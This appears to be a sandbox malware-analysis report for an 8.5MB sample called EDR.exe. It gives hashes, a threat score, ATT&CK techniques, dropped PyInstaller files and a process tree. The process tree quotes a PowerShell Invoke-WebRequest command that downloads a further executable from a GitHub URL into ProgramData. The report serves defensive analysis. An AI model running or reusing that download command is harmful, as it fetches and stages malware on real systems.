be63f8adae928909d3eb229d695098e8a93ff3919e71fedfb10705c73ef8f37a

Analysis

max time kernel
29s
max time network
32s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 02:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
EDR.exe
Size 8.5MB
Sample260820-dff7kaydph
SHA256 be63f8adae928909d3eb229d695098e8a93ff3919e71fedfb10705c73ef8f37a
MD5 a20cfa33f5a8685019fb85bc10819b21
SHA1 8ee482fe75e3ced789878d0735d7d114beecbe93
SHA512 75ae085c3971950e213c0f3c0638ed9075318d16d018fab1a6231a878b6d06656caa797532280dac55c0845c24f955b2d9cb8ce07f190a13e7174268af95d2c9
SSDEEP 196608:4Ad3wLwUmXEpXnH2ph1igt1/1QpL0uQg+R6tKsvoKgpVFSZ:48EwUmXEAphJtrQSg+RKKsvFgtS
TLSH
T1CA963368A3D119FAF8F3413D9DA1D401E6F2B8511BA2D2FB17B04A190E377E04D78BA5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	1964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1964	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
5076	EDR.exe
5076	EDR.exe
5076	EDR.exe
5076	EDR.exe
5076	EDR.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5692	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5076	EDR.exe
5076	EDR.exe
1964	powershell.exe
1964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 5076	912	EDR.exe	90
PID 5076 wrote to memory of 5692	5076	EDR.exe	91
PID 5692 wrote to memory of 1964	5692	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\EDR.exe
"C:\Users\Admin\AppData\Local\Temp\EDR.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:912
- C:\Users\Admin\AppData\Local\Temp\EDR.exe
  "C:\Users\Admin\AppData\Local\Temp\EDR.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c C:\Users\Admin\AppData\Local\Temp\batwrap_lt14twm6\script.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/edr.exe' -OutFile 'C:\ProgramData\edr.exe'"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000003902\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000003902\_bz2.pyd
Size 85KB
SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
MD5 207d4a4b7a113ef494514918f2dccdf3
SHA1 74b59453b5bb6194e0d2587d26d499d0f7e1aed5
SHA512 f7e5a2608ee19fd400d4bfe27e8603289a219af6a4a4a9e65ebb76c715d926fb9b08293fc2a3fed2195784804764265fa0b356547f23c501ec8ff9487c948b27
SSDEEP 1536:xtMtz7eksNCb6YVVEFxO2RqOyuzotWw8pRbIiQIG3VTy1Ni9QfIY6utw:PMtzSqurjOqqfgotWrplIiQIG3VtKtw
TLSH
T14A837E86B3B462B6F59B81B496910353F730FF960710A3BFB25482863F13B91AF58365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000003902\_lzma.pyd
Size 157KB
SHA256 5f7003f9f0256e36351ca2810b3485db28579b08e4d1d65f6f211fcd1136f395
MD5 cada2b240b280f172aeb32a1666b21e6
SHA1 c15dc39329444433c255309eb89bae188aae1b22
SHA512 8b12298efd28549d46e2c48cff94b07039cf513bbac25063ebad8bae57b96e07eefd7df82229441af142c1b96dc837dec468263c0873d14da280e3ed6e42eb9e
SSDEEP 3072:BJ66g4T5QW7JfyjEqkSkA51b4pznfJ9mNopUpdbQIGI1HFk:BUR4Tp4QPZ8N4RxYOgbPa
TLSH
T110F34C86B794F0E6F7328C38D2624F57E6F578590320929A01CC976D2B1FB759A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_zstd.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000003902\_zstd.pyd
Size 491KB
SHA256 262aea62a994920daf152a10bdc0ca83a8b1c0874e71db23734862431de182c6
MD5 035b0a033dd00dbe887556f4d4b852c3
SHA1 e86cf52d825f9b68177354c54edaa57e962012c3
SHA512 0b428aa10a9e977e07023918870368a9c00e0eb4ab4f7cf1e88950d4aebd2ba5774ebea9f3779d05e370bbe315da6634922834106077d511b710c6131d29dc65
SSDEEP 12288:KccWmYLKvveeFSeX0ro+Q2J5BCl9VNqdp:KccWJKvveeFSeX0roMZdp
TLSH
T143B48D43F29943EDE53BC4B8CF565A13FBB1780B1214965B9395CB993F07B309A6A308
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI000003902\base_library.zip
Size 1.3MB
SHA256 fd694d64507f32e4e7fd785f808514fec1cc060c95d82fd4c11572ef3db62069
MD5 dd37885ca6e973189fe3c7244ede2931
SHA1 58dbb504ae7cc224da67d4dcfe69f4c3e46ce8ce
SHA512 302ca58deddc143780f3f1d1734b6d59446a3f9bb325feb75b0fec666ad082b647e70795da6ee03b56e8bf5bf53b1c7293fbfabe648dff7ee01613c5baaba942
SSDEEP 24576:GslbRd7L3Rps4QeOdP2m2df/YIQZmZNuUFrp:Nd/R7/nYI/uUFN
TLSH
T1CF552B91B9917967FEC9F37A35B75A0CA715C0109B20D303B4A88DAC6FDF260AE558CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python314.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000003902\python314.dll
Size 6.5MB
SHA256 fde89cdb5c2d08ae65de7ef4abca1876c93ba3796002f5ac0bf7e4d4f5a94da0
MD5 006b0746b5abaf438d1bc753261c6d2c
SHA1 8f34714617f376cfa6e7e2aedc1e2a73de8c8fd8
SHA512 1c156c3f542de0a27e16ca5b7d6bbd34f2059b380ce85dbcfd5ae3a64de473fd160baba45ca30ad85dfe45742fdcb42aa969cbbaab26a569e324d4e65fb6d621
SSDEEP 98304:xVyDBH+ULEfi0VOuZd+FAX/uv3HDMiEEQn0rt:xVyD1+ULW5VrZRxim0rt
TLSH
T136669D26737901A5D9BB8035C9034647DBB1BC00AB30D34B49A4B6DA3F733635BAEB95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

script.bat

Path C:\Users\Admin\AppData\Local\Temp\batwrap_lt14twm6\script.bat
Size 272B
SHA256 41389d7bd02528e2c354360a12c9c8bc50686009606a8d6390d2bb158f3c4556
MD5 fd127bb4adeba4e5362eaa657f7b6053
SHA1 47aead63ed0ec64670de7df84ea83d8b0a8b9ff9
SHA512 f85ed6a27412bf4eb1a64481b5bfde809f6cdbc97165e5128f0124e42717265ac9c15a6f7e7db9ca833eed09b3968c05a34b11fd4f53ba08199715073ae0fc97
TLSH
T13AD02B3F5350570CCC5243594D9D946B618FC5C45684EBFF15AD241E9C6896943CF816
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1964-33-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-37-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-32-0x0000016CD0E50000-0x0000016CD0E72000-memory.dmp

Download

memory/1964-28-0x00007FFBA74CF000-0x00007FFBA74D0000-memory.dmp

Download

memory/1964-34-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-35-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-36-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-29-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-38-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-39-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-40-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-41-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-43-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-44-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-45-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download

memory/1964-47-0x00007FFBA7340000-0x00007FFBA7CE4000-memory.dmp

Download